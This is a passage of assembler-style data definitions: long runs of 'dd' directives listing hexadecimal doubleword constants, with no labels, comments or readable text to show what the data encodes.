6B944614h, 23D00E7h, 2C9627F2h, 3500F85Ch dd 0CA1F9510h, 3E67BFB0h, 0B403282Fh, 9F3CA1FDh, 385D5F80h dd 71894401h, 15BF96F6h, 9ECAD0h, 0BA7A6B74h, 4A1071Bh dd 0A68A2307h, 0C0CFC4D9h, 96572014h, 0EB1717E8h, 0E2970065h dd 0FD7382CCh, 0A96ACE00h, 0BC87379Fh, 0D3AF003Bh, 0DA49F92Bh dd 5673FED4h, 9CE48B00h, 30431A86h, 4CD707C6h, 0E0CFCCCAh dd 10E04BC1h, 29FDC000h, 0C553908Dh, 1F1F9860h, 0C0BE920Ah dd 0FFB7701Ah, 81CD0DCh, 0FCAD39h, 0A1DB0488h, 382CFC87h dd 4B001F18h, 0A3828AD4h, 0C702A053h, 1E249CD8h, 2845C0DEh dd 6AEE4C64h, 0E7C3EF01h, 0D1FEDC09h, 7038C5F8h, 0B707B2CAh dd 342389A7h, 0CE21AE0h, 0BAEE2Ch, 5587C107h, 0FC5315AFh dd 0DE1D200h, 0EB2EB3D7h, 0C1B10E6Dh, 674005F6h, 0CCF3CA2Dh dd 32577400h, 761CD495h, 9A200CEh, 0BA75FF3Fh, 0D105E44Eh dd 0C18E1B42h, 8AEBDEC1h, 109E220h, 0ED887E68h, 0D44931F0h dd 5E1DC691h, 0CA404461h, 0A356E1DAh, 7C100D1h, 876913FAh dd 0F7007017h, 3DA6353Bh, 0E689628h, 46A8054h, 0FE112F00h dd 0E1F3A16h, 1207AC60h, 800FFC1Ch, 517A1822h, 0A46401EEh dd 342B35E8h, 0F892ECAAh, 3E8BF53Fh, 0A1618924h, 7A5A00FDh dd 7E72B3Ch, 465A8DC8h, 0BADE70B1h, 0C90F7FD0h, 924BD92h dd 6F030041h, 2670663h, 7E2825F0h, 40D7ADB5h, 1F57EDB7h dd 8053D05Ah, 0A77CD1C7h, 1D00D93Eh, 0FC18506h, 744B34B0h dd 284F0178h, 614A3059h, 0AAA0D821h, 8B70561Dh, 0F00FD000h dd 26F9E8h, 0E874B2Fh, 9B11BC53h, 81D787Eh, 5C0023A1h dd 4119396Eh, 5F9700A0h, 490EFDE6h, 167DF938h, 9D315E07h dd 2EC1667Dh, 0C8404414h, 5CF108h, 0D6EBE34Bh, 4D66C29Ch dd 8ECD5D02h, 0E0812F97h, 5CC869h, 60731E86h, 0DCA22D8Dh dd 0AE765000h, 0E40CA6EBh, 0DFC11E3Bh, 1785EB1h, 67D6C2E3h dd 9EB8E8BDh, 7BB05100h, 50051629h, 133900C8h, 5FCBE37Fh dd 0BF008FC9h, 549E28C3h, 1CD3C075h, 952289E0h, 0E51F8CDDh dd 6FB3C0F3h, 0C31319A9h, 815EB400h, 55F94826h, 7EF65C78h dd 0D023600h, 0AD65E5BEh, 0B3D5F000h, 4155E8CBh, 6E0B07D7h dd 6024F805h, 3CAD746Ch, 0AAF1BB00h, 41BECEA9h, 47F00026h dd 0FB4EACD8h, 40C0D65Dh, 0B90DF8ADh, 0CCD8A8E9h, 0B48400C7h dd 592E062Ah, 0CE001ECDh, 584E9DF4h, 1DEE079Fh, 40B766A7h dd 145046BBh, 61042145h, 0BAD0F64Ch, 602CA782h, 13922735h dd 0F82FECF1h, 5B300026h, 7BF2210Eh, 27B701EEh, 3984B032h dd 18A0D71Bh, 700A2ECh, 71B3C86Eh, 529A5AA1h, 3A3F9451h dd 6C4D3F8Eh, 0C9231860h, 2700BA38h, 10649865h, 7F0AD9h dd 398EFAE4h, 0D454BF7h, 80079400h, 50A004ECh, 0A55E0EF4h dd 0B100B843h, 6A357520h, 0B0852200h, 5AAC8110h, 0CC2005Fh dd 13FDD77Fh, 7E00FB4Fh, 0D4E5D65h, 2BD289h, 28FF1F0Bh dd 98180194h, 0A7D6F400h, 0EC768D49h, 464100B9h, 915A4A78h dd 7E00BA44h, 2068D7F7h, 0EDBDC3B3h, 3C513F4h, 0C8306CCh dd 690702B9h, 0D7A5A3ABh, 2105A76h, 0C3D81480h, 1C402B15h dd 0DB0090A7h, 27DD397Bh, 33E4EE4h, 0C2EBA2BDh, 76C0360Fh dd 0B8011704h, 4FFC1EB6h, 0B5CC7BFFh, 508800C1h, 5D0A51E9h dd 9B00D47Fh, 48523098h, 1A97D28h, 8FC4F2F6h, 0DCAB8B9Ah dd 0A7142DE3h, 0ABF05Bh, 2B17540Fh, 0E950A3C1h, 301963E4h dd 828466Bh, 2672AB6Eh, 0E817DF06h, 8C4E1h, 0EC4F6028h dd 0CEE33EA0h, 0C9251030h, 3872FC7h, 7A3F52C0h, 50E7E2FEh dd 0CA357707h, 0A664D000h, 57BF55F4h, 0A4FC384Ch, 63423A6h dd 79632C0Ah, 3822EE00h, 9F60026Ch, 60D67634h, 0D9E5810Eh dd 2400CD7Bh, 3652DF7Dh, 0CA027EDEh, 834C61D9h, 17B684B8h dd 46B580B4h, 61147D5Fh, 185CEEEAh, 0C73901D7h, 0C07F0077h dd 0B8C142F2h, 0A0004B45h, 0F8595B46h, 586A82h, 2E27D2C3h dd 0D3C52F9Ah, 0FE68D901h, 6437EEFBh, 55B620h, 44F2748h dd 9FB3D0E1h, 0EDF75E00h, 0A0CEEA84h, 19AE0096h, 23F5598Bh dd 970091CDh, 0A7FAB699h, 7E92FEAh, 0E08DAE70h, 5B3A3051h dd 0E117C53Dh, 1A0E0C38h, 9E580B0h, 0BB030Fh, 260E402Bh dd 673F04CEh, 0F432CBEAh, 0E14FD0E0h, 29C36C24h, 0E2043EE1h dd 0E0A04F56h, 7818E4B4h dd 83E5FC3Dh, 3465DDE2h, 213CC840h, 74860E89h, 8C60B6C8h dd 84D934Bh, 9BE70B00h, 8F75275Bh, 0C53B0734h, 0D048A364h dd 81C99719h, 0A8ADE31Dh, 7B00F9D2h, 62BC0C5Ah, 9D2C3E60h dd 6ED2CD80h, 0A85045A5h, 61705C1Eh, 6BD732C0h, 0C7B867h dd 7A3C429Fh, 905AA555h, 0F1714A00h, 24DA2CA9h, 44120069h dd 235998D3h, 11004210h, 0CB085F7Eh, 0FA921B0Eh, 30360061h dd 88EEBB94h, 3175C99Eh, 974F211Fh, 451000FBh, 3062C774h dd 91B1388Ah, 268ED100h, 5417AF3Ah, 0D92C6E70h, 450001A0h dd 34814230h, 4F1B0E51h, 1FA0E752h, 2137D72Ch, 0A6BB1600h dd 0ADB346F6h, 76800055h, 0AFA0A8BDh, 0C030433h, 0A336326Fh dd 0C07D90C7h, 0F9D73F0Fh, 7C8FC683h, 6888BF8Ah, 0E0074430h dd 6C3282B3h, 3601EBB0h, 76C40087h, 7BAFD05Fh, 0E100B29Dh dd 0FEF3533Bh, 0B8504874h, 363A009Eh, 33CD0466h, 0C000D21Ah dd 0AB45A653h, 2507DF9Eh, 0C6F4ED7Ah, 2049AF0Eh, 0B5B99BD0h dd 0C0200003h, 0C78D0A06h, 41F25B0Fh, 1F843300h, 0BDDDA68Fh dd 0E34300A3h, 0EB34D4C4h, 0EF009108h, 0BC3ABB52h, 972C64h dd 26AEF32Ah, 7B5C3E8Fh, 809B5403h, 0FFA2D3E9h, 0A6FD5720h dd 55833C8Ch, 71660E80h, 0FF89DE19h, 81D7F100h, 96E2C932h dd 435D0042h, 5E1CA68h, 0D800E344h, 95A194AFh, 0BEFDB9h dd 48045BA0h, 0BDEE418Ah, 0CB00DC71h, 29E97F4Bh, 3FA7AFh dd 27CA6FA4h, 0B9DBC08Eh, 56462500h, 0E4BC8575h, 4B323C3Ch dd 66519383h, 6B88271Ah, 3570D46Fh, 36133DF4h, 350ECF3Eh dd 0CC00D29Bh, 57CD6899h, 72F204A6h, 0C7BB4982h, 23474163h dd 0E57FE464h, 0B23BBE00h, 0EBF0C942h, 46FA00FDh, 1E1C697Ah dd 6E0092F7h, 4FC33058h, 7AB96079h, 8EAF0FE3h, 9DA0D322h dd 0FE93AA54h, 0D45FBD03h, 0B005A35Eh, 4E168069h, 75CEA8F8h dd 41CFE101h, 7FDCD6C0h, 0B130E4h, 1CBB3F13h, 4887EF4h dd 6F00D278h, 4D4BC1B2h, 74A13Ah, 56BC41DFh, 109CC69h dd 7E7D337Ah, 0AF3FCAB8h, 0BE83389Fh, 368B0329h, 0F3701477h dd 0ABE598D6h, 0E7D70E8h, 11BE03D4h, 0CD52B6E0h, 7330C417h dd 919D19E3h, 0C06200E1h, 0AA13D2F9h, 0E800DB9Fh, 5816ABFDh dd 377CB51h, 135B16Eh, 0D6C078BEh, 0F60003AEh, 5A1386EFh dd 0CC498h, 8E353225h, 9FF9BC33h, 4ED6161Fh, 0FC5B248Fh dd 80B07340h, 3B3DD4h, 174161ABh, 0C75AFEA1h, 2FDEC01h dd 6D795B62h, 30682F4h, 26CB8F6Eh, 97984B64h, 0C100D20Bh dd 0FCD0DD9Eh, 798D94h, 55A6B0E5h, 4B11E8Ch, 6D455D00h dd 9B2A20Eh, 0CA4E07A0h, 3068A875h, 10B79F01h, 0DD0C5E03h dd 885A6328h, 0E5951AFh, 7E07741Ch, 73B41DE0h, 3E01B34Bh dd 39265BDFh, 18D10B36h, 377DDC4h, 0A2C8CD30h, 7E80574Ch dd 90008825h, 896E4F81h, 1DC56BE2h, 40305E86h, 0F5BCA902h dd 0CE00A750h, 2036D257h, 7F7B4Eh, 0F2802901h, 0DF4DFA9Bh dd 402DD400h, 58D2A539h, 0C87239D7h, 14F200FCh, 0D8AD1B0Fh dd 0BE003696h, 2D4C3176h, 3926FDA9h, 0C800B943h, 59A0BB42h dd 0D50070B7h, 86F36382h, 1F9FD4E1h, 1246FFEh, 3E26CCF4h dd 3881DB1Dh, 0D522E40Bh, 0B5DA5E03h, 0D0FCB4AEh, 0B8D80A2h dd 120D6BADh, 43F30Ah, 468EDD50h, 3E006554h, 197692B2h dd 0D0E43h, 4ECD166Ah, 40271B2Ah, 4CFE2E00h, 0F8CC31B9h dd 0CAA000A5h, 0ED1121BFh, 961D0343h, 0E3003B85h, 0D26846C9h dd 0F0C13C81h, 87CE4C1Fh, 6093ECABh, 454BA970h, 0CBBC201Fh dd 9A37DC5h, 0C818F583h, 0BDE578h, 334E604Bh, 56C29B9h dd 1250B204h, 0AF805BC7h, 0EEEAA5Ah, 833B8979h, 0EB654700h dd 0FD00BE10h, 1F785B01h, 1C9161Ch, 13E6EFB7h, 60D94E3Dh dd 1A002D76h, 0AEE37462h, 776C0EB8h, 0BE7624h, 0DD785A9Bh dd 108549DBh, 0C10E72B8h, 0C0442CE3h, 0D062AE91h, 0F0640EA4h dd 4CA02482h, 543716EDh, 0F9791F01h, 0F5397E04h, 0F1C99340h dd 29E01CEh, 10215188h, 6015CC5Ch, 0A97C800h, 535A3D9Bh dd 58BDA05Bh, 0DDC73877h, 0E3FC2380h, 0A4EBB3Bh, 0AA00B374h dd 0F6C8D7EFh, 90C4CB36h, 0C1620004h, 14100E7Ah, 8E00E3DBh dd 66B05D0Ah, 7A28D25h, 0F169850Fh, 5902209Bh, 83005A9Ch dd 0A1E76F2Ch, 90754886h, 522B00A5h, 1194F07Ah, 96000E5Dh dd 6B531889h, 8FE6D9h, 28E714EAh, 0E0203393h, 588B7401h dd 70FD8785h, 10F5DCh, 73D750DEh, 2964438Ah, 8DD3B900h dd 0A3C51E98h, 0CA0200F7h, 0F261CD0Bh, 0F4070ED5h, 53DA7335h dd 0B54E8E90h, 0FE403BBDh, 31527180h, 0D14CAAAFh, 1FBAF800h dd 4F80B4EBh, 383F00F5h, 0C4D8E0B1h, 0BDE2D5C6h, 0A7935003h dd 8B8CF42Fh, 0F04EF849h, 0D810E68h, 5C2F590Fh, 0DF7BCB60h dd 9200B344h, 1EABFB3Dh, 0A49781h, 5DB43289h, 79B9FA29h dd 2AF71500h, 0E406AF76h, 83A74ECDh, 0CAD831FAh, 0D1166B02h dd 0C4005486h, 0E4439EF7h, 1053639Ah, 84886627h, 57802148h dd 0DC8B489Eh, 4042121Dh, 889D67Fh, 15013093h, 0F83CDFF5h dd 0DD30D2C5h, 324700B9h, 0D40F6AEEh, 7D000CA6h, 222DC2F2h dd 0FE877Fh, 44547030h, 798CCE09h, 4F948E00h, 63F38B64h dd 0A824A052h, 0B6CC0093h, 0D879E0Bh, 0E5E6D343h, 205CE830h dd 0ABF40Fh, 0C7017BDh, 3F7623F9h, 7740B300h, 43572D12h dd 20CB004Eh, 0AFB9C09Dh, 300246Dh, 0B7F8210Ch, 0FE5FB296h dd 7B800FA7h, 0B4002B15h, 0F9529E99h, 37D36600h, 4409275Fh dd 88810EB1h, 127EA69h, 0BCE48157h, 1F7D2091h, 6E67DE00h dd 41F21711h, 82B078h, 7D47F7A8h, 922AB5B6h, 841DD701h dd 98F5DD81h, 1D4CA860h, 4F55F4CDh, 216082D6h, 0E90A2DAFh dd 903D9100h, 10C0DDB5h, 6B1439CEh, 0D90098BCh, 0D6BEBAF9h dd 0A200515Fh, 0C93F8093h, 947BA0h, 0F9B5C1Ah, 5B5F1B6Fh dd 7AB32B0Bh, 0AD3F00A7h, 79BC2Dh, 1057CC11h, 25A65644h dd 58AB7303h, 0D89B3DE3h, 120BF5DFh, 2D41BDh, 3E17543Ch dd 0E000F43Bh, 5116C411h, 90E658BFh, 5E0800D3h, 0FF49BA7Eh dd 2305CAE0h, 0AF556A7Ch, 0E2E62039h, 46202035h, 3ADBA518h dd 7D7C4709h, 14B388Dh, 7F60E000h, 0A006C928h, 66A7EF06h dd 848F6B5h, 0AAC439DCh, 86334C00h, 0B1D1FDh, 0C637717Eh dd 0E4414A35h, 0F2E73Ch, 7632F7F1h, 1D717850h, 9D902146h dd 6C0B3C7Bh, 80F71F14h, 0B1C19C7Dh, 0BBB0014Dh, 93600685h dd 7830809Bh, 0DE9C2942h, 83720C0Bh, 7D605209h, 8C325E78h dd 40B0587Ch, 0C502C686h, 0C15FF830h, 0E0A2B10Dh, 310CC3D8h dd 20CE4DF5h, 0B215006Eh, 8BD15A56h, 4E00D2ECh, 0A8A196E8h dd 30941064h, 0AD666FB1h, 6E071B24h, 7E9C7A68h, 0BBF52EC0h dd 4905608Ah, 0D1F16A2Fh, 0F2E22100h, 0B1422A7Ch, 8AA30CA5h dd 71283F4Fh, 5E22C117h, 0EA61B4B0h, 745D2646h, 0B78B01CAh dd 835339C4h, 0C2B98DC8h, 0FEE0265Ch, 0DAB40094h, 9648D3F7h dd 837FB802h, 80790435h, 5CEB0D80h, 20C55376h, 0FDBD3E81h dd 788708F5h, 1EC7F824h, 5E65F9h, 83B39323h, 0D0A87D9Bh dd 0AC00131Fh, 3EE0B40Bh, 7C8B5214h, 0F96014DFh, 0C300C844h dd 2E0ABDBBh, 0BC006669h, 0F4A9EDDBh, 93EF03h, 0D1D40511h dd 37EB2233h, 7400DAE4h, 0C86F098Fh, 2EEBABFh, 5E7F7616h dd 0E0A0238Dh, 3C90829Ch, 6A1060D8h, 7054054Ah, 0EF4B5DE9h dd 0F1641CC1h, 0F8C9F0h dd 0E872233Dh, 0CDB9465Ah, 968EDF00h, 6720D9B1h, 1C6C72A8h dd 43FC21FEh, 8CAF5F6Bh, 0BFB79BB0h, 835D5B00h, 18E3B1AEh dd 7041607Dh, 45F247E8h, 0C30E900h, 0A23C6EEDh, 0B8C0308h dd 0F8B6BD22h, 676A95C0h, 54BF5303h, 0C7334275h, 55AA6E61h dd 60B691E0h, 4D21D1AFh, 9F024A68h, 0D78F65B1h, 844AC080h dd 0D38107A5h, 26DDAC8Ch, 4A0C308Bh, 38FD7402h, 43C3001Eh dd 0AACE4992h, 5B0089B6h, 7669E1B0h, 0D08142h, 0D944CBFAh dd 18DA5F23h, 8084D9FBh, 2724CCC8h, 2DBCDFh, 0F2C8BBC1h dd 0E0D5104Fh, 0CAA73503h, 0B9669Fh, 60A67C80h, 0ACC9A42Fh dd 0E7E2217h, 0ED51E107h, 3C93D270h, 749C0018h, 0F19F8878h dd 4D029755h, 0DB1ED070h, 3136C0D8h, 86A63E8Dh, 5574B680h dd 2FFA9C6Dh, 132EE0E7h, 0AEF33Ah, 10E78418h, 0D11975h dd 0F92A633Dh, 7EEB6ABBh, 0E66CF60Eh, 0F8C13FE7h, 770FBDADh dd 331379C4h, 0C088617Bh, 6AFFA8E9h, 356865C0h, 3048F895h dd 89A990B7h, 79C02B57h, 0F9EC1E15h, 7658033Dh, 0ADCF67E0h dd 8CB78800h, 2A395E90h, 0F60E1C96h, 3801DAFAh, 0A856B880h dd 8C009E88h, 18ACCD29h, 9B2421h, 1F3249DFh, 5A27AE74h dd 7DA8934Bh, 0FBBA0D00h, 4670A563h, 44FEE97Ah, 6935BE00h dd 24B3ADA7h, 0CC310BD9h, 7221EDCAh, 87377651h, 0BFFF08D9h dd 400E1A40h, 6AFE3Fh, 3AB19E5Bh, 9383F5B8h, 6628C7F6h dd 1954A8A3h, 0FAC080CCh, 84DDA7BBh, 285678F9h, 0F9C8C3h dd 763E3828h, 0A4C7AE1Eh, 8118FBFCh, 0A11E11B7h, 0CC7B3E66h dd 0FC04F52Bh, 8017E338h, 4F27E738h, 39BA85Eh, 201629C4h dd 0C9A363ADh, 0B14310Ah, 0A11EA4F8h, 0E0EED833h, 0E7DC0CF9h dd 2934B6F2h, 5A4CCEA8h, 805B8441h, 0F2610410h, 0FE706B8Fh dd 0D9F840h, 14D38CAEh, 6E9E71FCh, 0AB1919C2h, 7403228Dh dd 0D8BD1882h, 0F3302310h, 8E767510h, 815EEA8Bh, 63A7B10Ch dd 8534611h, 30B5506Dh, 0C90CA8ACh, 0CE8744E1h, 65105042h dd 37C38420h, 0AD38425h, 8A24AF0Ch, 854B061h, 0DD425298h dd 2124BC24h, 0A9083629h, 44F245BCh, 22ADC50Ch, 0C184995Fh dd 422E904Ch, 0FB551435h, 0A8DF290Ch, 0E9DE9190h, 0B1CD8CC0h dd 0F308C218h, 84FDDC9Fh, 428DB524h, 239C05E7h, 0C076E070h dd 44DAE801h, 1BD73881h, 3A220020h, 5F006F3Dh, 0EA1EB50Ah dd 0D900FEFAh, 4B609BC1h, 39DCCC7h, 0D4A4C0C5h, 0A5E87A1Bh dd 0A749345Bh, 99630B24h, 0D0A68CE7h, 723A2A07h, 5EE108B0h dd 173B3811h, 0A0001A90h, 0CF843EBh, 9B7206D3h, 0A17A0BCDh dd 24B0211Eh, 0C5148E40h, 0A4F5A2h, 4CC2686Fh, 8C3C53C7h dd 0B517E900h, 643E4225h, 37C0BFA2h, 8A24117Bh, 1CA37C9Ch dd 462C60EFh, 509C9980h, 4585Ch, 0B4D439E6h, 5393A1F1h dd 1A618503h, 0C8D244C5h, 7A6BB1AFh, 598CA0BCh, 19E314A2h dd 0BE0084F1h, 0D2D34629h, 0CB65F6C1h, 0C84F8ED8h, 1B501807h dd 1A9E0E68h, 0B28F9803h, 469FAC25h, 68FCB114h, 701DA510h dd 348CD680h, 8200516Ch, 0AD1B6A3Ch, 508DFF06h, 0F1C05Eh dd 0A07F859Eh, 4D597DF5h, 55BAD10Fh, 0CCDF20C7h, 3FB4AC6h dd 0ADB16708h, 0B807E6BEh, 7B60815Dh, 75799A3h, 1CBBFFE9h dd 0BE0F9033h, 8B7A7A5Bh, 40B7F126h, 9FAA6A0Eh, 18A2EA41h dd 2D6BE34h, 6880FCD6h, 0D14AF052h, 40440329h, 62ACA640h dd 941A2450h, 1600138h, 0D09F66DBh, 59332AC9h, 0F1282849h dd 0E834239Ch, 0AC5B3CC5h, 4323B13h, 0D0486D5Ch, 0F234D060h dd 0C7878B00h, 0A14675D4h, 79323ECBh, 18A5DE18h, 593A2C1Ah dd 0B5AD06B3h, 77F8BD77h, 41EC1834h, 0BFCB19CCh, 0EB13C80h dd 85C725B6h, 0A59954A2h, 3634F083h, 84CC2029h, 4C41F980h dd 0F76F85E4h, 72D289Eh, 61F618B6h, 24399966h, 0EF048BB4h dd 0D5D3A2E9h, 7C60BCD5h, 48844C14h, 9E009449h, 6126C40Ah dd 0A21866E4h, 0DE18326Bh, 882B5293h, 1291C24h, 661D54AFh dd 0A504E85Ah, 868453FBh, 8BA2410Eh, 1BD839Ch, 0B157A8B2h dd 17CFB8D1h, 0AF1DDFh, 0F28E34ACh, 0D400CDA6h, 0C23CD0E8h dd 1DC726D8h, 6F54AD99h, 0B8206DF6h, 0FAABFF1Fh, 3428A0C0h dd 7F71E343h, 0A5E40509h, 934B9CCDh, 90CCC52Ch, 44992598h dd 4818EF59h, 0E9F23008h, 9FBF938h, 0D188CD04h, 9EF4D400h dd 64902314h, 422BE303h, 63C7CCCh, 17D95572h, 253AE849h dd 1B0607Eh, 0A55C3633h, 0EBCD0230h, 553838F8h, 0F51A0333h dd 61D34FE8h, 5065B004h, 10D11B0Eh, 53E4A6E5h, 494601C7h dd 0B161B233h, 412DF9E3h, 34A1B4B8h, 3E00479Ch, 769A6D5Ch dd 4CEEA464h, 0DC523C9Eh, 9F9C8000h, 0F2D4396h, 0E7D00D01h dd 0BF92495Ah, 40EA400h, 511A3930h, 78EE6244h, 71F92C6Eh dd 8A020F8h, 0B58E0A98h, 9A2801B9h, 0B2CCCEFAh, 24253430h dd 3D4F85E7h, 0E97D6300h, 0A5C55B9Ch, 0C148EFE8h, 0F99D0963h dd 8A896C4h, 0A949C74h, 44312A0Eh, 508BDCD3h, 507F6A00h dd 0CE17253Fh, 0B3805899h, 996790F1h, 641E0075h, 0BD970D5Ah dd 0E301AF4Ch, 36A9D3CFh, 4C20A78Dh, 0ED6D001Eh, 0AB70660Fh dd 810241ACh, 8CB6202Dh, 48CEEFh, 0B5125DC3h, 0E6DB02C1h dd 39C84915h, 81F506ECh, 9030DDB3h, 3E5880B8h, 76218870h dd 0E9790430h, 0F3A2539h, 5FDD2C74h, 4048EF14h, 0FD187680h dd 88EAD597h, 0A1CCF450h, 96027718h, 155F6E20h, 84DFDA14h dd 367B1800h, 2AB5762h, 0CF31F562h, 74252003h, 209056CEh dd 1213117Eh, 1C5AB885h, 43349078h, 0DC7B044h, 9FC9E4BEh dd 3C880D8h, 47F9AEE0h, 17F06AFh, 41B034B3h, 7E54BC06h dd 0F0791FC5h, 0C2690AECh, 4208F497h, 271866EEh, 98EA48DEh dd 1D943703h, 80B450Ch, 8A916774h, 2C8040FAh, 0A35F63C8h dd 0C1E900CDh, 37F4F383h, 0E0018C16h, 0B2C8951Eh, 0A5DCF935h dd 1A562551h, 32102418h, 340F7A03h, 667448h, 0E7A31F10h dd 53045AB4h, 49FE2100h, 2AEF1E2Fh, 0FC8EFABBh, 77FF00E9h dd 635A6EB9h, 410352AEh, 0A15C571Eh, 0BF728071h, 5F290A03h dd 0F96D195h, 5DFC6Dh, 0D650B76Eh, 0A21BE177h, 0E048F724h dd 73D1FD15h, 93370053h, 0AA1C7049h, 0D6001934h, 82941097h dd 131B9h, 0A5DBED1Eh, 3FD40C63h, 69749600h, 0FCA13706h dd 0BA1D0E2Dh, 97C0AC31h, 99D7A4A8h, 516E3A30h, 0E0C4413h dd 8B359563h, 0F4041560h, 40F19241h, 0E07EB0CAh, 0A2636B05h dd 30204446h, 0D0F688B4h, 408048B0h, 0BF1359ECh, 3EE1FE1Ch dd 0FC2D37C7h, 1891FD30h, 64DA36DDh, 4869839h, 12886D0Ah dd 0F1FC0C32h, 0C02305Bh, 1B5E4083h, 55BDE480h, 74023CEDh dd 0D83A56BFh, 790C8220h, 51A91159h, 88FD518h, 0FC642291h dd 449FD21h, 4AFB6FFAh, 0A8BB0CC9h, 51542431h, 9322210Ch dd 1C8D21E5h, 41FBF008h, 11720375h, 0E10806DFh, 0F6710B22h dd 9D288407h, 4521248Eh, 91E90A05h, 314080Ch, 5040543h dd 3FA4A260h, 14EC006Ah, 9D8BE34Ah, 4DDE9A12h, 51855475h dd 6555080Fh, 0B840836Ch, 40E9F114h, 0CB860EC1h, 0D8DD986Dh dd 65C838ABh, 39BD8405h, 0C8078FA0h, 8740C219h, 14DAF79h dd 0C05E52DDh, 0C16C0C57h, 0F08FECF1h, 70F9507h, 26B1F2C5h dd 0CEFCE02Ch, 0B1350033h, 2B5517D2h, 42006861h, 0D671EE49h dd 0A4586A8Eh, 82E44Ch, 0BA1E4F89h, 8BC4B4B6h, 0E60ABC7Dh dd 0CCEAB076h, 27433700h dd 183F105Ah, 0E05C7B1Dh, 180004FDh, 0B53D7DEBh, 0B17840h dd 349F69EFh, 7997966Dh, 7A7F4905h, 1C6731B6h, 0E93C7E84h dd 0A836D900h, 0D61D95E8h, 4DF10B5Bh, 1682663Eh, 0C0BE7C9Fh dd 144EE526h, 7F10903h, 57480683h, 29226549h, 0E204A326h dd 28FB680Ch, 0C819010Ah, 1CA236ACh, 10D8E7DDh, 0EA53786Fh dd 344B005Ch, 0BEF61199h, 0F28A07BDh, 70491A3Fh, 819BF91Bh dd 0D1EC9A00h, 528478D6h, 68824D95h, 6021A01h, 247ECC0Ch dd 801BBC0h, 5816CE2Ah, 102020BFh, 0EBD61A18h, 0D49040C5h dd 12002DF7h, 6A5D2A26h, 6247C21Fh, 0A4AEB018h, 18ED841Dh dd 1D296AF3h, 4E95C04Ch, 98006358h, 0F9B171AEh, 75571642h dd 0B4AA510Bh, 0C78B2E8h, 768EB662h, 0A0302B38h, 9CE8407Ch dd 875106DEh, 31F69573h, 97BBCF00h, 7F665348h, 0DD7000D6h dd 6A90361Ah, 0B724FAC2h, 0D9627427h, 0B001DFFh, 65910624h dd 0D4C7000Eh, 4EAF955Eh, 89EDF98Ah, 24053980h, 1044B0CCh dd 1FE4D59Bh, 0A0C707B2h, 3455A1h, 4E793C80h, 4805D3C6h dd 4FF930ECh, 98D8AC2Bh, 387999F7h, 0AA85C602h, 4576096Bh dd 0EC610994h, 1D0AD414h, 44B90A47h, 2A212CFEh, 12328714h dd 6A58308Eh, 0F4CCC86h, 0EBD0A004h, 6BAE2E8Bh, 0AB950F4Eh dd 0BFDD72A0h, 3D24A531h, 2476E837h, 78DCF0FAh, 840536F5h dd 6FBE7103h, 0B4438C0h, 0F0FD295Dh, 1DD14184h, 2974F4B1h dd 2CA0AF50h, 3ACBD0BFh, 1F1665DCh, 0CAE881h, 5C73171h dd 0FAB156h, 0E6D11982h, 0E748FE8Eh, 65807812h, 8310840h dd 87FA23h, 0DDA79FF1h, 0C7954718h, 753DAF05h, 0D022E3A1h dd 708060C4h, 12B6E8CEh, 2B8BC24Ch, 32B5C464h, 0B208D8h dd 8C19D210h, 78BAFC5Ch, 9CBF7300h, 0C221B9D6h, 0ECA504A9h dd 8A114D1Dh, 20D8E60Ch, 2DF2C1DEh, 8004E248h, 39BEF58Ah dd 513FE894h, 0FC0AD897h, 0C42903E0h, 0E9FE5102h, 0E84D86E6h dd 0A613718h, 0D60F79AEh, 0C080218Ch, 0EC8635C4h, 5DD828B3h dd 0E867824Fh, 8139022h, 7404BCADh, 0F806840Bh, 232210B4h dd 0D7F0A77h, 1024B5h, 0A9530FF6h, 3478F5C6h, 12EBC704h dd 6F438293h, 41E6170Dh, 19EEFB13h, 23903C0Bh, 174472FCh dd 4193F0h, 0A1E1C85Ch, 25E78821h, 0CE0C640h, 0DCA83A6Eh dd 0DB61EC12h, 2D3EE940h, 0DC439BE5h, 28480A41h, 839C712Ch dd 0A47809AAh, 68B0BAh, 3CB86AE7h, 0B169070Bh, 139CA06Eh dd 483C2D40h, 1A8A0087h, 25290CACh, 72006DE9h, 8EE72DF8h dd 61E4A178h, 83E1A085h, 483EC57Bh, 0B315D5E4h, 1280FA65h dd 907026ACh, 0B017DCDh, 7AA477B1h, 5A5F1820h, 3C2525A0h dd 187014AEh, 50CBC8A4h, 2C00BF1Eh, 0F1CA5760h, 0FD2581h dd 0C67ECD15h, 0FB21A5B3h, 0FEDB1B07h, 3FF05D53h, 0EBBB19h dd 0A8D473AAh, 0F2B34C93h, 0F41D6700h, 8DCF6686h, 0A0CC4BD5h dd 4B006FEDh, 0C50F7DB1h, 0A5FE34h, 823AD13Fh, 0AAEE9DBBh dd 0FCBC6400h, 0A3696AD9h, 0F3220050h, 0C3C5D146h, 8000766Eh dd 107CB0DEh, 0E68B2CC8h, 77FD01E9h, 0B706676Ah, 2918C855h dd 8A0A4800h, 9922ED6Eh, 0A56A0010h, 0D79D0C40h, 1400B303h dd 292B2405h, 0F78808h, 64393D41h, 0F5D30C1Fh, 2CB3EC00h dd 0C5660272h, 2ED53F01h, 8283929Dh, 23C7B95Dh, 4BAC4840h dd 8C113E00h, 9A98F9ADh, 457749h, 0C2B45FEFh, 0E76C3508h dd 0D4EE3100h, 0AB52A8B9h, 227F88h, 8179D982h, 92608DB8h dd 0B954F200h, 0BEBCA347h, 9A73B0Ah, 2B638981h, 0C498111Bh dd 0C592F3Fh, 45830FACh, 0D571C335h, 0A3E3B038h, 28FAD9h dd 5F620F89h, 0F397B453h, 1BA87F0Ch, 617C12h, 7C704C90h dd 7B85A659h, 506B100h, 0AC64267h, 0D7B71C38h, 68A540C2h dd 0E4CE2793h, 0CF1829F0h, 0AE589CA7h, 82920020h, 0FB33DEA1h dd 9F0058FFh, 8E66C043h, 5DD0B1h, 67BA6432h, 84A5A85h dd 3BD33F00h, 1BB6940h, 2EBD0013h, 0EE24EC9Fh, 0F400FAA6h dd 44470AB7h, 3868B0B3h, 0A180AD76h, 583BBC6Fh, 4607F22Fh dd 42068122h, 0DB0CE940h, 0C1EF0037h, 0CCCE40D2h, 39FEADBEh dd 0CF83E500h, 26215B4Eh, 1EE60061h, 6F8895CEh, 360012FEh dd 40889B0h, 2A5616h, 0BA6ABD20h, 9352E6DAh, 0CA5B3A00h dd 0B2DC5408h, 5D20161h, 8A65D516h, 3FAF2070h, 0A0434F24h dd 386FE380h, 557CEE0h, 0C49723AFh, 0D5888001h, 741F9258h dd 0E1413482h, 8D0D3E20h, 736A5C4h, 28EA4A1Dh, 1849B0D7h dd 9607ED8Bh, 61D4B74Dh, 0DBDECC00h, 